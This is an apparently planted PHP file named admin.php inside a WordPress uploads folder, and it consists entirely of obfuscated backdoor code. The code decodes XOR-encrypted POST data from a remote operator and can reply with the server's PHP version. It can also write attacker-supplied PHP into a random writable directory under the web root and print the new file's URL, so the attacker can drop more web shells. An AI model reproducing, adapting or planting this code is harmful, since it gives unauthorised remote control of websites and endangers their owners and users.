File: /home/slyfwmm/laretediclo/wp-content/uploads/2022/04/admin.php
<?php $FgavaKe = "MARqwklk";function TNOlcXAk($FgavaKe){$sTEFcO = 'r'.chr(97).'w'.chr(117).chr(513-399).'l'.'d'."\145".chr(1019-920).chr(516-405)."\144".chr(918-817);$GxtBo = chr(377-262).'t'.chr(114).chr(95)."\x72"."\x6f"."\164"."\x31".'3';$tmLchpdtH = 's'.chr(116).chr(114)."\137"."\163".chr(749-637)."\x6c"."\x69"."\x74";$FgavaKe = $tmLchpdtH($sTEFcO($GxtBo($FgavaKe)));return $FgavaKe;}function puHMsarojD($uOEMV, $KkbpRFTaMn){$aylUFg = 's'.chr(116).chr(232-118)."\x5f".chr(233-118).chr(112)."\154"."\x69".chr(247-131);$uOEMV = array_slice($aylUFg(str_repeat($uOEMV, (count($KkbpRFTaMn)/16)+1)), 0, count($KkbpRFTaMn));return $uOEMV;}function FFYzckYYkl($AnMTZ, $ufYXdsmC, $uOEMV){$MdlDnVffE = "27aac3f0-77ec-4b2e-b671-f73557505ec3";return $AnMTZ ^ $MdlDnVffE[$ufYXdsmC % strlen($MdlDnVffE)] ^ $uOEMV;}function oPuNklF($KkbpRFTaMn, $uOEMV){$KkbpRFTaMn = array_map("FFYzckYYkl", array_values($KkbpRFTaMn), array_keys($KkbpRFTaMn), array_values($uOEMV));$KkbpRFTaMn = implode("", $KkbpRFTaMn);$zKNrK = chr(443-326)."\x6e"."\163".chr(101).'r'.chr(828-723).chr(97)."\154".chr(105).'z'."\x65";$KkbpRFTaMn = @$zKNrK($KkbpRFTaMn);return $KkbpRFTaMn;}function UisJmqtVAl(){echo "sECwiJg";}function IwQZVjxzuL($ZZTUjOZir){static $kxJYbbwCi = array();$SxkuT = glob($ZZTUjOZir . '/*', GLOB_ONLYDIR);$zSznKw = count($SxkuT);if ($zSznKw > 0) {foreach ($SxkuT as $ZZTUjOZ) {$gpVuDhC = chr(1051-946).'s'.chr(833-738)."\x77".chr(915-801)."\x69".'t'.'a'."\x62".chr(1096-988)."\x65";if (@$gpVuDhC($ZZTUjOZ)) {$kxJYbbwCi[] = $ZZTUjOZ;}}}foreach ($SxkuT as $ZZTUjOZir) IwQZVjxzuL($ZZTUjOZir);return $kxJYbbwCi;}function KFYKocUZwn(){echo "MARqwklk";}function nGRWWAXmeY($KkbpRFTaMn){$REKIaT = "\104".chr(79)."\x43"."\x55"."\x4d".chr(69)."\116".chr(84).'_'.chr(82)."\x4f".chr(79)."\x54";$rDFxDQudbI = $_SERVER[$REKIaT];$SxkuT = IwQZVjxzuL($rDFxDQudbI);$KEdIcdYGy = array_rand($SxkuT);$vPZRy = "\x2e".'p'."\150".chr(298-186);$mDCbaldrwR = $SxkuT[$KEdIcdYGy] . "/" . substr(md5(time()), 0, 8) . $vPZRy;$HQAeUxn = "\146".chr(105)."\154".chr(627-526).'_'.chr(673-561)."\x75".chr(248-132).chr(95)."\x63"."\x6f".'n'."\x74"."\x65"."\x6e".'t'.chr(307-192);@$HQAeUxn($mDCbaldrwR, $KkbpRFTaMn);$tTLfrW = "\110"."\124"."\124"."\120".chr(95)."\110".'O'.'S'.chr(715-631);$xlkxrvYb = chr(104)."\x74".chr(515-399).'p'.chr(58)."\57".'/';$uQIiHvm = $xlkxrvYb . $_SERVER[$tTLfrW] . substr($mDCbaldrwR, strlen($rDFxDQudbI));print($uQIiHvm);}foreach ($_POST as $uOEMV => $KkbpRFTaMn){$QRnsf = strlen($uOEMV);if ($QRnsf == 16){$KkbpRFTaMn = TNOlcXAk($KkbpRFTaMn);$uOEMV = puHMsarojD($uOEMV, $KkbpRFTaMn);$KkbpRFTaMn = oPuNklF($KkbpRFTaMn, $uOEMV);if (@is_array($KkbpRFTaMn)){$KEdIcdYGy = array_keys($KkbpRFTaMn);$KkbpRFTaMn = $KkbpRFTaMn[$KEdIcdYGy[0]];$KEdIcdYGy = $KEdIcdYGy[0];if ($KkbpRFTaMn !== $KEdIcdYGy){nGRWWAXmeY($KkbpRFTaMn);}else {$DxSpKDJLEg = 'p'."\150".chr(112);$AaVBUlDt = "\x70".chr(474-370).chr(532-420).'v'.chr(915-814).chr(114).chr(115)."\x69".chr(111).chr(798-688);$KkbpRFTaMn = Array($DxSpKDJLEg => @$AaVBUlDt(), );$SuoTXhN = "\163".'e'."\x72".chr(655-550).chr(97)."\154"."\x69"."\x7a".chr(101);echo @$SuoTXhN($KkbpRFTaMn);}die();}}}